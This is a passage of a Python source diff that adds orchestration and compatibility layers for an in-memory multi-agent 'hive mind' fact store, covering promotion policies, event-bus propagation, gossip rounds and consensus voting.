fact_id=uuid.uuid4().hex[:FACT_ID_HEX_LENGTH], + content=fact.content, + concept=fact.concept, + confidence=fact.confidence, + source_agent=relay_id, + tags=[*fact.tags, f"escalated_from:{self._hive_id}"], + created_at=fact.created_at, + ) + self._parent.promote_fact(relay_id, escalated) + + def query_federated( + self, + query: str, + limit: int = 20, + _visited: set[str] | None = None, + ) -> list[HiveFact]: + """Query this hive and all children, merge via RRF. + + Prevents cycles via _visited set. + """ + if _visited is None: + _visited = set() + if self._hive_id in _visited: + return [] + _visited.add(self._hive_id) + + # Local results + local = self.query_facts(query, limit=limit) + + # Recurse into children + child_results: list[HiveFact] = [] + for child in self._children: + child_facts = child.query_federated(query, limit=limit, _visited=_visited) + child_results.extend(child_facts) + + # Merge and deduplicate + all_facts = local + child_results + seen: set[str] = set() + deduped: list[HiveFact] = [] + for f in all_facts: + key = f.content + if key not in seen: + seen.add(key) + deduped.append(f) + + # Sort by confidence + relevance + query_words = set(query.lower().split()) + deduped.sort( + key=lambda f: ( + sum(1 for w in query_words if w in f.content.lower()) + f.confidence * 0.01 + ), + reverse=True, + ) + + return deduped[:limit] + + # -- Gossip --------------------------------------------------------------- + + def run_gossip_round(self) -> dict[str, int]: + """Run a gossip round using bloom filter exchange. + + Each agent exchanges bloom filters with random peers. + Pulls facts that are missing from its shard. + Returns dict of agent_id → facts received. + """ + if not self._enable_gossip: + return {} + + agents = self._router.get_all_agents() + if len(agents) < 2: + return {} + + received: dict[str, int] = {} + fanout = min(2, len(agents) - 1) + + for agent_id in agents: + shard = self._router.get_shard(agent_id) + if not shard: + continue + + # Select random peers + peers = [a for a in agents if a != agent_id] + selected = random.sample(peers, min(fanout, len(peers))) + + facts_received = 0 + for peer_id in selected: + peer_shard = self._router.get_shard(peer_id) + if not peer_shard: + continue + + # Get peer's fact IDs + peer_fact_ids = peer_shard.get_all_fact_ids() + + # Check which we're missing via bloom filter + with self._lock: + my_bloom = self._bloom_filters.get(agent_id) + if my_bloom is None: + continue + + missing_ids = my_bloom.missing_from(list(peer_fact_ids)) + + # Pull missing facts + for fid in missing_ids: + peer_fact = peer_shard.get(fid) + if peer_fact: + # Store replica in our shard + replica = ShardFact( + fact_id=peer_fact.fact_id, + content=peer_fact.content, + concept=peer_fact.concept, + confidence=peer_fact.confidence * 0.9, # Discount + source_agent=peer_fact.source_agent, + tags=[*peer_fact.tags, f"gossip_from:{peer_id}"], + created_at=peer_fact.created_at, + ) + if shard.store(replica): + facts_received += 1 + my_bloom.add(fid) + + if facts_received > 0: + received[agent_id] = facts_received + + total = sum(received.values()) + if total > 0: + logger.info( + "Gossip round: %d facts propagated to %d agents", + total, + len(received), + ) + + return received + + def convergence_score(self) -> float: + """Measure knowledge convergence across all shards. + + Returns fraction of unique facts present on ALL agents. + 0.0 = no overlap, 1.0 = every agent has every fact. + """ + agents = self._router.get_all_agents() + if len(agents) < 2: + return 1.0 + + # Collect all unique content hashes + all_hashes: set[str] = set() + per_agent: dict[str, set[str]] = {} + + for agent_id in agents: + shard = self._router.get_shard(agent_id) + if shard: + hashes = shard.get_content_hashes() + per_agent[agent_id] = hashes + all_hashes |= hashes + + if not all_hashes: + return 1.0 + + # Count facts present on ALL agents + common = set.intersection(*per_agent.values()) if per_agent else set() + return len(common) / len(all_hashes) + + # -- Stats & lifecycle ---------------------------------------------------- + + def get_stats(self) -> dict[str, Any]: + """Get hive statistics.""" + dht_stats = self._router.get_stats() + return { + "hive_id": self._hive_id, + "type": "distributed", + "agent_count": len(self._agents), + "fact_count": dht_stats["total_facts"], + "total_promotes": self._total_promotes, + "replication_factor": dht_stats["replication_factor"], + "avg_shard_size": dht_stats["avg_shard_size"], + "shard_sizes": dht_stats["shard_sizes"], + "has_parent": self._parent is not None, + "child_count": len(self._children), + "edge_count": sum(len(v) for v in self._edges.values()), + "gossip_enabled": self._enable_gossip, + } + + def close(self) -> None: + """Release resources.""" + # All in-memory, nothing to close + + def gc(self) -> int: + """Garbage collect expired facts. Returns count removed.""" + return 0 # TTL not implemented for distributed version yet + + # -- Helpers -------------------------------------------------------------- + + @staticmethod + def _shard_to_hive_fact(sf: ShardFact) -> HiveFact: + """Convert a ShardFact to a HiveFact for protocol compatibility.""" + return HiveFact( + fact_id=sf.fact_id, + content=sf.content, + concept=sf.concept, + confidence=sf.confidence, + source_agent=sf.source_agent, + tags=sf.tags, + created_at=sf.created_at, + ) + + # -- merge_state (CRDT compat) ------------------------------------------- + + def merge_state(self, other: DistributedHiveGraph) -> None: + """Merge facts from another hive (CRDT-style add-wins).""" + for agent_id in other._router.get_all_agents(): + shard = other._router.get_shard(agent_id) + if not shard: + continue + for fact in shard.get_all_facts(): + self._router.store_fact(fact) + + +__all__ = [ + "DistributedHiveGraph", + "EventHubsShardTransport", + "LocalShardTransport", + "ServiceBusShardTransport", + "ShardTransport", +] diff --git a/src/amplihack/agents/goal_seeking/hive_mind/orchestrator.py b/src/amplihack/agents/goal_seeking/hive_mind/orchestrator.py new file mode 100644 index 000000000..847d4bfb1 --- /dev/null +++ b/src/amplihack/agents/goal_seeking/hive_mind/orchestrator.py @@ -0,0 +1,532 @@ +"""HiveMindOrchestrator -- Unified coordination layer for the four-layer hive mind. + +Single responsibility: route fact storage, promotion, discovery, and query +through the appropriate architectural layer based on configurable policies. + +Architecture: + Layer 1: HiveGraph (storage) -- persist and retrieve facts + Layer 2: EventBus (transport) -- publish/subscribe for peer coordination + Layer 3: GossipProtocol (discovery) -- epidemic dissemination to peers + Layer 4: Query deduplication -- merge, rerank, deduplicate across layers + +Philosophy: +- One class, one job: coordinate layers, never own them +- PromotionPolicy is pluggable -- inject rules without modifying this class +- No hardcoded thresholds -- all from constants or policy +- Graceful degradation -- each layer can be absent without breaking callers + +Public API (the "studs"): + PromotionPolicy: Protocol for pluggable promotion rules + DefaultPromotionPolicy: Threshold-based implementation + HiveMindOrchestrator: Main coordination class +""" + +from __future__ import annotations + +import hashlib +import logging +import uuid +from dataclasses import dataclass +from typing import Any, Protocol, runtime_checkable + +from .constants import ( + DEFAULT_BROADCAST_THRESHOLD, + DEFAULT_CONFIDENCE_GATE, + GOSSIP_MIN_CONFIDENCE, + PEER_CONFIDENCE_DISCOUNT, +) +from .event_bus import BusEvent, EventBus, make_event +from .hive_graph import HiveFact, HiveGraph + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Graceful imports for optional dependencies +# --------------------------------------------------------------------------- + +try: + from .gossip import GossipProtocol # noqa: F401 (used in docstrings) + from .gossip import run_gossip_round as _run_gossip_round + + _HAS_GOSSIP = True +except ImportError: + _HAS_GOSSIP = False + +try: + from .reranker import rrf_merge + + _HAS_RERANKER = True +except ImportError: + _HAS_RERANKER = False + + +# --------------------------------------------------------------------------- +# PromotionPolicy protocol +# --------------------------------------------------------------------------- + + +@runtime_checkable +class PromotionPolicy(Protocol): + """Pluggable rules for deciding how facts move through the hive layers. + + Single responsibility: answer YES/NO for each layer given a fact and the + ID of the agent promoting it. Callers (HiveMindOrchestrator) use this to + route facts without embedding hard-coded thresholds. + + Example: + >>> policy = DefaultPromotionPolicy(promote_threshold=0.6) + >>> fact = HiveFact(fact_id="f1", content="DNA stores info", + ... concept="genetics", confidence=0.8) + >>> assert policy.should_promote(fact, "agent_a") + >>> assert policy.should_gossip(fact, "agent_a") + """ + + def should_promote(self, fact: HiveFact, source_agent: str) -> bool: + """Return True if fact should be promoted to Layer 1 (HiveGraph).""" + ... + + def should_gossip(self, fact: HiveFact, source_agent: str) -> bool: + """Return True if fact should enter Layer 3 (epidemic gossip).""" + ... + + def should_broadcast(self, fact: HiveFact, source_agent: str) -> bool: + """Return True if fact should broadcast to federated peers (Layer 1 cross-hive).""" + ... + + +@dataclass +class DefaultPromotionPolicy: + """Threshold-based promotion policy using constant defaults. + + All three thresholds are independently configurable. A fact must + meet the relevant threshold to advance to that layer. + + Attributes: + promote_threshold: Minimum confidence to promote to HiveGraph (Layer 1). + gossip_threshold: Minimum confidence to enter gossip dissemination (Layer 3). + broadcast_threshold: Minimum confidence to broadcast to federated peers. + """ + + promote_threshold: float = DEFAULT_CONFIDENCE_GATE + gossip_threshold: float = GOSSIP_MIN_CONFIDENCE + broadcast_threshold: float = DEFAULT_BROADCAST_THRESHOLD + + def should_promote(self, fact: HiveFact, source_agent: str) -> bool: + """Return True if confidence >= promote_threshold and fact is not retracted.""" + return fact.status != "retracted" and fact.confidence >= self.promote_threshold + + def should_gossip(self, fact: HiveFact, source_agent: str) -> bool: + """Return True if confidence >= gossip_threshold and fact is not retracted.""" + return fact.status != "retracted" and fact.confidence >= self.gossip_threshold + + def should_broadcast(self, fact: HiveFact, source_agent: str) -> bool: + """Return True if confidence >= broadcast_threshold and fact is not retracted.""" + return fact.status != "retracted" and fact.confidence >= self.broadcast_threshold + + +# --------------------------------------------------------------------------- +# HiveMindOrchestrator +# --------------------------------------------------------------------------- + + +class HiveMindOrchestrator: + """Unified coordination layer for the four-layer hive mind. + + Composes all four architectural layers and routes fact operations + through the appropriate one based on a pluggable PromotionPolicy. + + Layers orchestrated: + Layer 1 (Storage): HiveGraph -- persist and retrieve facts + Layer 2 (Transport): EventBus -- publish FACT_PROMOTED events to peers + Layer 3 (Discovery): Gossip -- epidemic dissemination to known peers + Layer 4 (Query): Dedup -- merge, rerank, deduplicate results + + Args: + agent_id: Unique ID for this agent in the hive. + hive_graph: Layer 1 storage backend. Must satisfy HiveGraph protocol. + event_bus: Layer 2 transport. Must satisfy EventBus protocol. + peers: Optional list of HiveGraph peers for Layer 3 gossip. + policy: Pluggable PromotionPolicy. Defaults to DefaultPromotionPolicy. + gossip_protocol: Optional GossipProtocol configuration. + + Example: + >>> from amplihack.agents.goal_seeking.hive_mind import ( + ... InMemoryHiveGraph, LocalEventBus, + ... ) + >>> from amplihack.agents.goal_seeking.hive_mind.orchestrator import ( + ... HiveMindOrchestrator, + ... ) + >>> hive = InMemoryHiveGraph("test-hive") + >>> bus = LocalEventBus() + >>> orch = HiveMindOrchestrator( + ... agent_id="agent_a", + ... hive_graph=hive, + ... event_bus=bus, + ... ) + >>> hive.register_agent("agent_a") + >>> bus.subscribe("agent_a") + >>> result = orch.store_and_promote("Biology", "DNA stores info", 0.9) + >>> assert result["promoted"] + >>> results = orch.query_unified("DNA genetics") + >>> assert len(results) >= 1 + """ + + def __init__( + self, + agent_id: str, + hive_graph: HiveGraph, + event_bus: EventBus, + peers: list[HiveGraph] | None = None, + policy: PromotionPolicy | None = None, + gossip_protocol: Any | None = None, + ) -> None: + self._agent_id = agent_id + self._hive_graph = hive_graph + self._event_bus = event_bus + self._peers: list[HiveGraph] = list(peers or []) + self._policy: PromotionPolicy = policy or DefaultPromotionPolicy() + self._gossip_protocol = gossip_protocol + + # -- Properties ------------------------------------------------------------ + + @property + def agent_id(self) -> str: + """Unique identifier for this orchestrator's agent.""" + return self._agent_id + + @property + def peers(self) -> list[HiveGraph]: + """Current list of gossip peers (Layer 3). Returns a copy.""" + return list(self._peers) + + def add_peer(self, peer: HiveGraph) -> None: + """Register a new gossip peer for Layer 3 dissemination. + + Args: + peer: A HiveGraph instance to include in gossip rounds. + """ + self._peers.append(peer) + + # -- Core operations ------------------------------------------------------- + + def store_and_promote( + self, + concept: str, + content: str, + confidence: float, + tags: list[str] | None = None, + ) -> dict[str, Any]: + """Store a fact locally then route through appropriate layers. + + Layer routing: + 1. Always: build HiveFact from content + 2. Layer 1 (Storage): promote to HiveGraph if policy allows + 3. Layer 2 (Transport): publish FACT_PROMOTED event if promoted + 4. Layer 3 (Discovery): trigger gossip if policy allows AND peers exist + + Args: + concept: Topic/concept this fact relates to. + content: The factual text content. + confidence: Confidence score (0.0-1.0). + tags: Optional categorization tags. + + Returns: + Dict with keys: + - fact_id: str -- assigned fact ID + - promoted: bool -- whether fact entered Layer 1 + - event_published: bool -- whether Layer 2 event was sent + - gossip_triggered: bool -- whether Layer 3 was triggered + """ + tags = tags or [] + fact = HiveFact( + fact_id=f"hf_{uuid.uuid4().hex[:12]}", + content=content, + concept=concept, + confidence=max(0.0, min(1.0, confidence)), + source_agent=self._agent_id, + tags=list(tags), + ) + + promoted = False + event_published = False + gossip_triggered = False + + # Layer 1: Promote to HiveGraph + if self._policy.should_promote(fact, self._agent_id): + try: + fact_id = self._hive_graph.promote_fact(self._agent_id, fact) + fact.fact_id = fact_id + promoted = True + except Exception: + logger.debug("Failed to promote fact %s to hive graph", fact.fact_id) + + # Layer 2: Publish transport event if promoted + if promoted: + try: + event = make_event( + event_type="FACT_PROMOTED", + source_agent=self._agent_id, + payload={ + "fact_id": fact.fact_id, + "concept": concept, + "content": content, + "confidence": confidence, + "tags": tags, + }, + ) + self._event_bus.publish(event) + event_published = True + except Exception: + logger.debug("Failed to publish FACT_PROMOTED event for %s", fact.fact_id) + + # Layer 3: Trigger gossip if policy allows and peers are available + if _HAS_GOSSIP and self._peers and self._policy.should_gossip(fact, self._agent_id): + try: + _run_gossip_round(self._hive_graph, self._peers, self._gossip_protocol) + gossip_triggered = True + except Exception: + logger.debug("Gossip round failed for fact %s", fact.fact_id) + + return { + "fact_id": fact.fact_id, + "promoted": promoted, + "event_published": event_published, + "gossip_triggered": gossip_triggered, + } + + def query_unified( + self, + query: str, + limit: int = 10, + ) -> list[dict[str, Any]]: + """Search facts across all layers with content-hash deduplication. + + Layer query order: + 1. Layer 4a: Local HiveGraph (query_facts) + 2. Layer 4b: Federated HiveGraph (query_federated) if peers configured + 3. Deduplicate by content hash + 4. Re-rank by confidence (or RRF merge if reranker available) + 5. Return top-K serialized results + + Args: + query: Search query string. + limit: Maximum number of results to return. + + Returns: + List of fact dicts, each containing: + fact_id, concept, content, confidence, source_agent, tags, status + """ + # Layer 4a: Local query + local_results: list[HiveFact] = [] + try: + local_results = self._hive_graph.query_facts(query, limit=limit * 2) + except Exception: + logger.debug("Local hive query failed for: %s", query) + + # Layer 4b: Federated query (uses the hive's own federation tree) + federated_results: list[HiveFact] = [] + if self._peers: + try: + federated_results = self._hive_graph.query_federated(query, limit=limit * 2) + except Exception: + logger.debug("Federated hive query failed for: %s", query) + + # Deduplicate by content hash (local facts take priority via order) + seen_hashes: set[str] = set() + merged: list[HiveFact] = [] + for fact in local_results + federated_results: + content_hash = hashlib.md5(fact.content.encode(), usedforsecurity=False).hexdigest() + if content_hash not in seen_hashes: + seen_hashes.add(content_hash) + merged.append(fact) + + # Re-rank: RRF merge if available, else sort by confidence descending + if _HAS_RERANKER and len(merged) > 1: + try: + by_confidence = sorted(merged, key=lambda f: -f.confidence) + scored = rrf_merge(by_confidence, by_confidence, key="fact_id", limit=len(merged)) + merged = [sf.fact for sf in scored] + except Exception: + merged.sort(key=lambda f: -f.confidence) + else: + merged.sort(key=lambda f: -f.confidence) + + return [ + { + "fact_id": f.fact_id, + "concept": f.concept, + "content": f.content, + "confidence": f.confidence, + "source_agent": f.source_agent, + "tags": list(f.tags), + "status": f.status, + } + for f in merged[:limit] + ] + + def process_event(self, event: BusEvent) -> dict[str, Any]: + """Incorporate a peer's FACT_PROMOTED event into local hive storage. + + Filters events by type (only FACT_PROMOTED), extracts fact data, + applies a confidence discount for peer-sourced facts, and promotes + to local HiveGraph if the discounted confidence meets policy threshold. + + Args: + event: BusEvent from the event bus (Layer 2). + + Returns: + Dict with keys: + - incorporated: bool -- whether the fact was stored + - fact_id: str or None -- ID of stored fact (if incorporated) + - reason: str -- explanation of outcome + """ + if event.event_type != "FACT_PROMOTED": + return { + "incorporated": False, + "fact_id": None, + "reason": "not a FACT_PROMOTED event", + } + + # Skip self-published events to avoid duplicate storage + if event.source_agent == self._agent_id: + return { + "incorporated": False, + "fact_id": None, + "reason": "self-published event (skipped)", + } + + payload = event.payload + content = payload.get("content", "") + concept = payload.get("concept", "") + confidence = float(payload.get("confidence", 0.0)) + tags = list(payload.get("tags", [])) + + if not content or not concept: + return { + "incorporated": False, + "fact_id": None, + "reason": "missing content or concept in payload", + } + + # Apply peer confidence discount: peer facts get PEER_CONFIDENCE_DISCOUNT + discounted_confidence = confidence * PEER_CONFIDENCE_DISCOUNT + + peer_fact = HiveFact( + fact_id=f"hf_{uuid.uuid4().hex[:12]}", + content=content, + concept=concept, + confidence=discounted_confidence, + source_agent=event.source_agent, + tags=[*tags, f"peer_from:{event.source_agent}"], + ) + + if not self._policy.should_promote(peer_fact, event.source_agent): + return { + "incorporated": False, + "fact_id": None, + "reason": (f"below promotion threshold (confidence={discounted_confidence:.2f})"), + } + + try: + fact_id = self._hive_graph.promote_fact(self._agent_id, peer_fact) + return { + "incorporated": True, + "fact_id": fact_id, + "reason": "promoted from peer event", + } + except Exception as exc: + return { + "incorporated": False, + "fact_id": None, + "reason": f"promote_fact failed: {exc}", + } + + def run_gossip_round(self) -> dict[str, Any]: + """Execute one round of Layer 3 gossip dissemination. + + Selects peers via trust-weighted selection and shares top-K facts. + Requires gossip module and at least one peer to do anything useful. + + Returns: + Dict with keys: + - facts_shared: dict[peer_hive_id, list[fact_id]] -- shared facts + - peers_contacted: int -- number of peers that received facts + - skipped: str or None -- reason gossip was skipped (if any) + """ + if not _HAS_GOSSIP: + return { + "facts_shared": {}, + "peers_contacted": 0, + "skipped": "gossip module unavailable", + } + + if not self._peers: + return { + "facts_shared": {}, + "peers_contacted": 0, + "skipped": "no peers registered", + } + + try: + shared = _run_gossip_round(self._hive_graph, self._peers, self._gossip_protocol) + return { + "facts_shared": shared, + "peers_contacted": len(shared), + "skipped": None, + } + except Exception as exc: + logger.debug("Gossip round failed: %s", exc) + return { + "facts_shared": {}, + "peers_contacted": 0, + "skipped": f"error: {exc}", + } + + def drain_events(self) -> list[dict[str, Any]]: + """Poll Layer 2 event bus and incorporate all pending peer events. + + Useful for agents that do not run a background listener thread. + Call this periodically to stay in sync with peer knowledge. + + Returns: + List of process_event() result dicts, one per event processed. + """ + results: list[dict[str, Any]] = [] + try: + events = self._event_bus.poll(self._agent_id) + except Exception: + logger.debug("Event bus poll failed for agent: %s", self._agent_id) + return results + + for event in events: + try: + result = self.process_event(event) + except Exception: + logger.debug( + "Failed to process event %s from %s, skipping", + getattr(event, "event_id", "?"), + getattr(event, "source_agent", "?"), + exc_info=True, + ) + result = { + "incorporated": False, + "fact_id": None, + "reason": "processing error (event skipped)", + } + results.append(result) + + return results + + def close(self) -> None: + """Release resources. Unsubscribes from the event bus.""" + try: + self._event_bus.unsubscribe(self._agent_id) + except Exception: + pass + + +__all__ = [ + "DefaultPromotionPolicy", + "HiveMindOrchestrator", + "PromotionPolicy", +] diff --git a/src/amplihack/agents/goal_seeking/hive_mind/unified.py b/src/amplihack/agents/goal_seeking/hive_mind/unified.py new file mode 100644 index 000000000..d0f8d113e --- /dev/null +++ b/src/amplihack/agents/goal_seeking/hive_mind/unified.py @@ -0,0 +1,457 @@ +"""Unified Hive Mind: Compatibility layer wrapping the new four-layer architecture. + +Provides the UnifiedHiveMind, HiveMindAgent, and HiveMindConfig classes +that eval scripts expect, implemented on top of: +- Layer 1: InMemoryHiveGraph (storage) +- Layer 2: LocalEventBus (transport) +- Layer 3: GossipProtocol / run_gossip_round (discovery) +- Layer 4: HiveMindOrchestrator (query + coordination) + +Public API: + HiveMindConfig: Tuning knobs for all layers + UnifiedHiveMind: Central orchestrator owning all sublayers + HiveMindAgent: Lightweight per-agent facade +""" + +from __future__ import annotations + +import hashlib +import logging +import uuid +from dataclasses import dataclass, field +from typing import Any + +from .event_bus import LocalEventBus, make_event +from .hive_graph import HiveFact +from .in_memory_hive import InMemoryHiveGraph +from .orchestrator import DefaultPromotionPolicy, HiveMindOrchestrator + +logger = logging.getLogger(__name__) + +try: + from .gossip import GossipProtocol, run_gossip_round + + _HAS_GOSSIP = True +except ImportError: + _HAS_GOSSIP = False + +__all__ = [ + "HiveMindConfig", + "UnifiedHiveMind", + "HiveMindAgent", +] + + +@dataclass +class HiveMindConfig: + """Configuration for the Unified Hive Mind. + + Attributes: + promotion_confidence_threshold: Minimum confidence to promote a fact. + promotion_consensus_required: Number of agents that must agree + before a fact is promoted (1 = no consensus needed). + gossip_interval_rounds: Gossip fires every N learning rounds. + gossip_top_k: Facts shared per gossip round. + gossip_fanout: Peers contacted per gossip round. + event_relevance_threshold: Min relevance to incorporate peer events. + enable_gossip: Whether gossip layer is active. + enable_events: Whether event bus is active. + """ + + promotion_confidence_threshold: float = 0.7 + promotion_consensus_required: int = 1 + gossip_interval_rounds: int = 5 + gossip_top_k: int = 10 + gossip_fanout: int = 2 + event_relevance_threshold: float = 0.3 + enable_gossip: bool = True + enable_events: bool = True + + +@dataclass +class _PendingPromotion: + """A fact awaiting consensus votes before promotion to hive.""" + + fact_id: str + content: str + concept: str + confidence: float + tags: list[str] + proposer_agent_id: str + votes: dict[str, bool] = field(default_factory=dict) + + +class UnifiedHiveMind: + """Multi-agent hive mind coordinating storage, events, gossip, and query. + + Each agent gets its own InMemoryHiveGraph (local store) plus access to a + shared hive graph. The event bus propagates promotions between agents. + """ + + def __init__(self, config: HiveMindConfig | None = None) -> None: + self._config = config or HiveMindConfig() + # Shared hive graph (Layer 1 shared store) + self._graph = _HiveGraphWithConsensus( + hive_id="shared-hive", + consensus_required=self._config.promotion_consensus_required, + ) + # Per-agent local graphs + self._local_graphs: dict[str, InMemoryHiveGraph] = {} + # Per-agent orchestrators + self._orchestrators: dict[str, HiveMindOrchestrator] = {} + # Shared event bus (Layer 2) + self._event_bus = LocalEventBus() + # Per-agent learning counters (for gossip interval) + self._learn_counters: dict[str, int] = {} + # Agent list + self._agents: set[str] = set() + # Running total of events processed across all agents + self._total_events_processed: int = 0 + + def register_agent(self, agent_id: str) -> None: + """Register an agent in the hive mind.""" + if agent_id in self._agents: + return + self._agents.add(agent_id) + + # Create local graph for this agent + local_graph = InMemoryHiveGraph(hive_id=f"local-{agent_id}") + local_graph.register_agent(agent_id) + self._local_graphs[agent_id] = local_graph + + # Register agent in shared hive graph + self._graph.register_agent(agent_id) + + # Create orchestrator composing local graph + event bus + policy = DefaultPromotionPolicy( + promote_threshold=self._config.promotion_confidence_threshold, + ) + peers = [ + g for aid, g in self._local_graphs.items() if aid != agent_id + ] + orch = HiveMindOrchestrator( + agent_id=agent_id, + hive_graph=self._graph, + event_bus=self._event_bus, + peers=peers, + policy=policy, + ) + self._orchestrators[agent_id] = orch + + # Update all existing orchestrators with the new agent's graph + for existing_id, existing_orch in self._orchestrators.items(): + if existing_id != agent_id: + existing_orch._peers = [ + g for aid, g in self._local_graphs.items() if aid != existing_id + ] + + # Subscribe to event bus + self._event_bus.subscribe(agent_id) + + self._learn_counters[agent_id] = 0 + + def store_fact( + self, + agent_id: str, + content: str, + confidence: float = 0.8, + tags: list[str] | None = None, + ) -> str: + """Store a fact in an agent's local graph. Returns fact_id.""" + self._ensure_agent(agent_id) + tags = tags or [] + local = self._local_graphs[agent_id] + fact = HiveFact( + fact_id=f"hf_{uuid.uuid4().hex[:12]}", + content=content, + concept=_extract_concept(content), + confidence=confidence, + source_agent=agent_id, + tags=list(tags), + ) + return local.promote_fact(agent_id, fact) + + def promote_fact( + self, + agent_id: str, + content: str, + confidence: float = 0.8, + tags: list[str] | None = None, + ) -> str: + """Promote a fact to the shared hive (may require consensus).""" + self._ensure_agent(agent_id) + tags = tags or [] + concept = _extract_concept(content) + + if self._config.promotion_consensus_required > 1: + # Add to pending promotions + fact_id = f"hf_{uuid.uuid4().hex[:12]}" + pending = _PendingPromotion( + fact_id=fact_id, + content=content, + concept=concept, + confidence=confidence, + tags=list(tags), + proposer_agent_id=agent_id, + votes={agent_id: True}, + ) + self._graph._pending_promotions[fact_id] = pending + # Check if already has enough votes + self._graph._check_and_promote(fact_id) + return fact_id + else: + # Direct promotion via orchestrator + result = self._orchestrators[agent_id].store_and_promote( + concept=concept, + content=content, + confidence=confidence, + tags=tags, + ) + return result["fact_id"] + + def query_local( + self, + agent_id: str, + query: str, + limit: int = 10, + ) -> list[dict[str, Any]]: + """Query only the agent's local graph.""" + self._ensure_agent(agent_id) + local = self._local_graphs[agent_id] + facts = local.query_facts(query, limit=limit) + return [_fact_to_dict(f) for f in facts] + + def query_hive( + self, + agent_id: str, + query: str, + limit: int = 10, + ) -> list[dict[str, Any]]: + """Query only the shared hive graph.""" + self._ensure_agent(agent_id) + facts = self._graph.query_facts(query, limit=limit) + return [_fact_to_dict(f) for f in facts] + + def query_all( + self, + agent_id: str, + query: str, + limit: int = 10, + ) -> list[dict[str, Any]]: + """Query local + hive + deduplicate by content hash.""" + self._ensure_agent(agent_id) + + # Local results + local_facts = self._local_graphs[agent_id].query_facts(query, limit=limit * 2) + # Hive results + hive_facts = self._graph.query_facts(query, limit=limit * 2) + + # Deduplicate by content hash + seen: set[str] = set() + merged: list[HiveFact] = [] + for fact in local_facts + hive_facts: + h = hashlib.md5(fact.content.encode(), usedforsecurity=False).hexdigest() + if h not in seen: + seen.add(h) + merged.append(fact) + + # Sort by confidence descending + merged.sort(key=lambda f: -f.confidence) + return [_fact_to_dict(f) for f in merged[:limit]] + + def run_gossip_round(self) -> dict[str, Any]: + """Execute one gossip round across all agent graphs.""" + if not _HAS_GOSSIP or not self._config.enable_gossip: + return {"skipped": "gossip disabled or unavailable"} + + all_graphs = list(self._local_graphs.values()) + [self._graph] + results: dict[str, Any] = {} + + for agent_id, orch in self._orchestrators.items(): + # Update peers to include all other local graphs + orch._peers = [ + g for aid, g in self._local_graphs.items() if aid != agent_id + ] + round_result = orch.run_gossip_round() + results[agent_id] = round_result + + return results + + def process_events(self) -> dict[str, int]: + """Process all pending events for all agents. Returns events processed per agent.""" + if not self._config.enable_events: + return {} + + stats: dict[str, int] = {} + for agent_id, orch in self._orchestrators.items(): + results = orch.drain_events() + count = len(results) + stats[agent_id] = count + self._total_events_processed += count + + return stats + + def tick(self, agent_id: str) -> dict[str, Any]: + """Tick an agent's learning counter. May trigger gossip.""" + self._ensure_agent(agent_id) + self._learn_counters[agent_id] += 1 + result: dict[str, Any] = {"counter": self._learn_counters[agent_id]} + + if ( + self._config.enable_gossip + and self._learn_counters[agent_id] % self._config.gossip_interval_rounds == 0 + ): + gossip_result = self.run_gossip_round() + result["gossip"] = gossip_result + + return result + + def get_stats(self) -> dict[str, Any]: + """Get comprehensive hive stats.""" + graph_stats = self._graph.get_stats() + return { + "agent_count": len(self._agents), + "agents": list(self._agents), + "graph": graph_stats, + "events": { + "total_events": self._total_events_processed, + "enabled": self._config.enable_events, + }, + "gossip": { + "enabled": self._config.enable_gossip, + }, + "config": { + "consensus_required": self._config.promotion_consensus_required, + "confidence_threshold": self._config.promotion_confidence_threshold, + }, + } + + def get_agent_knowledge_summary(self, agent_id: str) -> dict[str, Any]: + """Get knowledge summary for a specific agent.""" + self._ensure_agent(agent_id) + local = self._local_graphs[agent_id] + local_stats = local.get_stats() + return { + "agent_id": agent_id, + "local_facts": local_stats.get("total_facts", 0), + "learn_counter": self._learn_counters.get(agent_id, 0), + } + + def _ensure_agent(self, agent_id: str) -> None: + """Raise if agent not registered.""" + if agent_id not in self._agents: + raise ValueError(f"Agent {agent_id!r} not registered. Call register_agent() first.") + + +class _HiveGraphWithConsensus(InMemoryHiveGraph): + """InMemoryHiveGraph extended with pending promotion / consensus voting.""" + + def __init__(self, hive_id: str, consensus_required: int = 1) -> None: + super().__init__(hive_id=hive_id) + self._consensus_required = consensus_required + self._pending_promotions: dict[str, _PendingPromotion] = {} + self._hive_store: dict[str, HiveFact] = {} + + def get_pending_promotions(self) -> list[_PendingPromotion]: + """Return list of facts awaiting consensus.""" + return list(self._pending_promotions.values()) + + def vote_on_promotion(self, voter_agent_id: str, fact_id: str, approve: bool) -> None: + """Cast a vote on a pending promotion.""" + if fact_id not in self._pending_promotions: + raise ValueError(f"No pending promotion with fact_id={fact_id!r}") + pending = self._pending_promotions[fact_id] + if voter_agent_id in pending.votes: + raise ValueError(f"Agent {voter_agent_id!r} already voted on {fact_id!r}") + pending.votes[voter_agent_id] = approve + self._check_and_promote(fact_id) + + def _check_and_promote(self, fact_id: str) -> None: + """Check if a pending promotion has enough votes to proceed.""" + if fact_id not in self._pending_promotions: + return + pending = self._pending_promotions[fact_id] + approve_count = sum(1 for v in pending.votes.values() if v) + if approve_count >= self._consensus_required: + # Promote to hive + fact = HiveFact( + fact_id=pending.fact_id, + content=pending.content, + concept=pending.concept, + confidence=pending.confidence, + source_agent=pending.proposer_agent_id, + tags=list(pending.tags), + ) + super().promote_fact(pending.proposer_agent_id, fact) + self._hive_store[fact_id] = fact + del self._pending_promotions[fact_id] + + def get_stats(self) -> dict[str, Any]: + """Extended stats including consensus info.""" + base = super().get_stats() + base["hive_facts"] = len(self._hive_store) + base["pending_promotions"] = len(self._pending_promotions) + return base + + +class HiveMindAgent: + """Lightweight per-agent facade for the UnifiedHiveMind.""" + + def __init__(self, agent_id: str, hive_mind: UnifiedHiveMind) -> None: + self._agent_id = agent_id + self._hive = hive_mind + + @property + def agent_id(self) -> str: + return self._agent_id + + def learn( + self, + content: str, + confidence: float = 0.8, + tags: list[str] | None = None, + ) -> str: + """Learn a fact (store locally).""" + fact_id = self._hive.store_fact(self._agent_id, content, confidence, tags) + self._hive.tick(self._agent_id) + return fact_id + + def promote( + self, + content: str, + confidence: float = 0.8, + tags: list[str] | None = None, + ) -> str: + """Promote a fact to the shared hive.""" + return self._hive.promote_fact(self._agent_id, content, confidence, tags) + + def ask(self, query: str, limit: int = 10) -> list[dict[str, Any]]: + """Query local + hive (combined).""" + return self._hive.query_all(self._agent_id, query, limit=limit) + + def ask_local(self, query: str, limit: int = 10) -> list[dict[str, Any]]: + """Query only local knowledge.""" + return self._hive.query_local(self._agent_id, query, limit=limit) + + def ask_hive(self, query: str, limit: int = 10) -> list[dict[str, Any]]: + """Query 